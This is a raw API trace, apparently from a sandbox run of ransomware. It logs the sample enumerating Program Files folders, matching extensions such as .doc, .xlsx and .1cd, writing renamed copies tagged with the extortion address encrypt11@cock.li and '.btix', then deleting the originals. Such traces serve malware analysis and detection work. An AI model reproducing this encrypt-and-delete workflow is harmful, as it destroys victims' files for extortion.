[0147.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0147.134] lstrlenW (lpString=".jpg") returned 4 [0147.134] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.134] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0147.134] lstrlenW (lpString="boxed-split.avi") returned 15 [0147.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.135] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=84190) returned 1 [0147.135] CloseHandle (hObject=0x338) returned 1 [0147.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0147.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.135] lstrlenW (lpString=".doc") returned 4 [0147.135] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.135] lstrlenW (lpString=".docx") returned 5 [0147.135] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0147.135] lstrlenW (lpString=".pdf") returned 4 [0147.135] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.135] lstrlenW (lpString=".xls") returned 4 [0147.135] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.135] lstrlenW (lpString=".xlsx") returned 5 [0147.135] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0147.135] lstrlenW (lpString=".ppt") returned 4 [0147.135] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.135] lstrlenW (lpString=".zip") returned 4 [0147.135] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.135] lstrlenW (lpString=".rar") returned 4 [0147.135] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.135] lstrlenW (lpString=".bz2") returned 4 [0147.135] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.135] lstrlenW (lpString=".7z") returned 3 [0147.135] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.136] lstrlenW (lpString=".dbf") returned 4 [0147.136] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.136] lstrlenW (lpString=".1cd") returned 4 [0147.136] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.136] lstrlenW (lpString=".jpg") returned 4 [0147.136] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.136] lstrlenW (lpString=".doc") returned 4 [0147.136] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString=".docx") returned 5 [0147.136] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0147.136] lstrlenW (lpString=".pdf") returned 4 [0147.136] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString=".xls") returned 4 [0147.136] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString=".xlsx") returned 5 [0147.136] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0147.136] lstrlenW (lpString=".ppt") returned 4 [0147.136] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.136] lstrlenW (lpString=".zip") returned 4 [0147.136] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString=".rar") returned 4 [0147.136] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString=".bz2") returned 4 [0147.136] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.136] lstrlenW (lpString=".7z") returned 3 [0147.136] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.137] lstrlenW (lpString=".dbf") returned 4 [0147.137] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.137] lstrlenW (lpString=".1cd") returned 4 [0147.137] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0147.137] lstrlenW (lpString=".jpg") returned 4 [0147.137] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.137] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0147.137] lstrlenW (lpString="correct.avi") returned 11 [0147.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.137] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=180172) returned 1 [0147.137] CloseHandle (hObject=0x338) returned 1 [0147.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0147.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.138] lstrlenW (lpString=".doc") returned 4 [0147.138] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString=".docx") returned 5 [0147.138] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0147.138] lstrlenW (lpString=".pdf") returned 4 [0147.138] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString=".xls") returned 4 [0147.138] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString=".xlsx") returned 5 [0147.138] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0147.138] lstrlenW (lpString=".ppt") returned 4 [0147.138] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.138] lstrlenW (lpString=".zip") returned 4 [0147.138] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString=".rar") returned 4 [0147.138] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString=".bz2") returned 4 [0147.138] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString=".7z") returned 3 [0147.138] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.138] lstrlenW (lpString=".dbf") returned 4 [0147.138] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.138] lstrlenW (lpString=".1cd") returned 4 [0147.138] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.138] lstrlenW (lpString=".jpg") returned 4 [0147.138] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.139] lstrlenW (lpString=".doc") returned 4 [0147.139] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.139] lstrlenW (lpString=".docx") returned 5 [0147.139] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0147.139] lstrlenW (lpString=".pdf") returned 4 [0147.139] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.139] lstrlenW (lpString=".xls") returned 4 [0147.139] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.139] lstrlenW (lpString=".xlsx") returned 5 [0147.139] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0147.139] lstrlenW (lpString=".ppt") returned 4 [0147.139] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.139] lstrlenW (lpString=".zip") returned 4 [0147.139] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.139] lstrlenW (lpString=".rar") returned 4 [0147.139] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.139] lstrlenW (lpString=".bz2") returned 4 [0147.139] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.139] lstrlenW (lpString=".7z") returned 3 [0147.139] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.139] lstrlenW (lpString=".dbf") returned 4 [0147.139] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0147.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.139] lstrlenW (lpString=".1cd") returned 4 [0147.139] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0147.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0147.139] lstrlenW (lpString=".jpg") returned 4 [0147.139] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0147.139] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0147.140] lstrlenW (lpString="delete.avi") returned 10 [0147.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.140] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=208408) returned 1 [0147.140] CloseHandle (hObject=0x338) returned 1 [0147.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0147.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0147.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0147.140] lstrlenW (lpString=".doc") returned 4 [0147.140] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0147.140] lstrlenW (lpString=".docx") returned 5 [0147.140] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0147.140] lstrlenW (lpString=".pdf") returned 4 [0147.140] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0147.140] lstrlenW (lpString=".xls") returned 4 [0147.140] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0147.140] lstrlenW (lpString=".xlsx") returned 5 [0147.140] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0147.140] lstrlenW (lpString=".ppt") returned 4 [0147.140] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0147.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0147.141] lstrlenW (lpString=".zip") returned 4 [0147.141] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0147.141] lstrlenW (lpString=".rar") returned 4 [0147.141] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0147.141] lstrlenW (lpString=".bz2") returned 4 [0147.141] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0147.141] lstrlenW (lpString=".7z") returned 3 [0147.141] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0147.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.605] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.605] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.605] GetLastError () returned 0x0 [0147.605] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x402, lpOverlapped=0x0) returned 1 [0147.612] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x410, lpOverlapped=0x0) returned 1 [0147.612] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.613] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.613] SetEndOfFile (hFile=0x388) returned 1 [0147.613] CloseHandle (hObject=0x388) returned 1 [0147.613] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.613] SetEndOfFile (hFile=0x384) returned 1 [0147.614] CloseHandle (hObject=0x384) returned 1 [0147.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0147.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.614] lstrlenW (lpString=".doc") returned 4 [0147.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.614] lstrlenW (lpString=".docx") returned 5 [0147.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.614] lstrlenW (lpString=".pdf") returned 4 [0147.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.614] lstrlenW (lpString=".xls") returned 4 [0147.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.614] lstrlenW (lpString=".xlsx") returned 5 [0147.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.614] lstrlenW (lpString=".ppt") returned 4 [0147.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.614] lstrlenW (lpString=".zip") returned 4 [0147.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.615] lstrlenW (lpString=".rar") returned 4 [0147.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.615] lstrlenW (lpString=".bz2") returned 4 [0147.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.615] lstrlenW (lpString=".7z") returned 3 [0147.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.615] lstrlenW (lpString=".dbf") returned 4 [0147.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.615] lstrlenW (lpString=".1cd") returned 4 [0147.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.615] lstrlenW (lpString=".jpg") returned 4 [0147.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.615] lstrlenW (lpString=".doc") returned 4 [0147.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.615] lstrlenW (lpString=".docx") returned 5 [0147.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.615] lstrlenW (lpString=".pdf") returned 4 [0147.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.615] lstrlenW (lpString=".xls") returned 4 [0147.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.616] lstrlenW (lpString=".xlsx") returned 5 [0147.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.616] lstrlenW (lpString=".ppt") returned 4 [0147.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.616] lstrlenW (lpString=".zip") returned 4 [0147.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.616] lstrlenW (lpString=".rar") returned 4 [0147.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.616] lstrlenW (lpString=".bz2") returned 4 [0147.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.616] lstrlenW (lpString=".7z") returned 3 [0147.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.616] lstrlenW (lpString=".dbf") returned 4 [0147.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.616] lstrlenW (lpString=".1cd") returned 4 [0147.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0147.616] lstrlenW (lpString=".jpg") returned 4 [0147.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.616] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.616] lstrlenW (lpString="HH00236_.WMF") returned 12 [0147.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.616] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3286) returned 1 [0147.617] CloseHandle (hObject=0x384) returned 1 [0147.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0147.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.617] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.617] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.617] GetLastError () returned 0x0 [0147.617] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xcd6, lpOverlapped=0x0) returned 1 [0147.618] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xce0, lpOverlapped=0x0) returned 1 [0147.619] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.619] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.619] SetEndOfFile (hFile=0x388) returned 1 [0147.619] 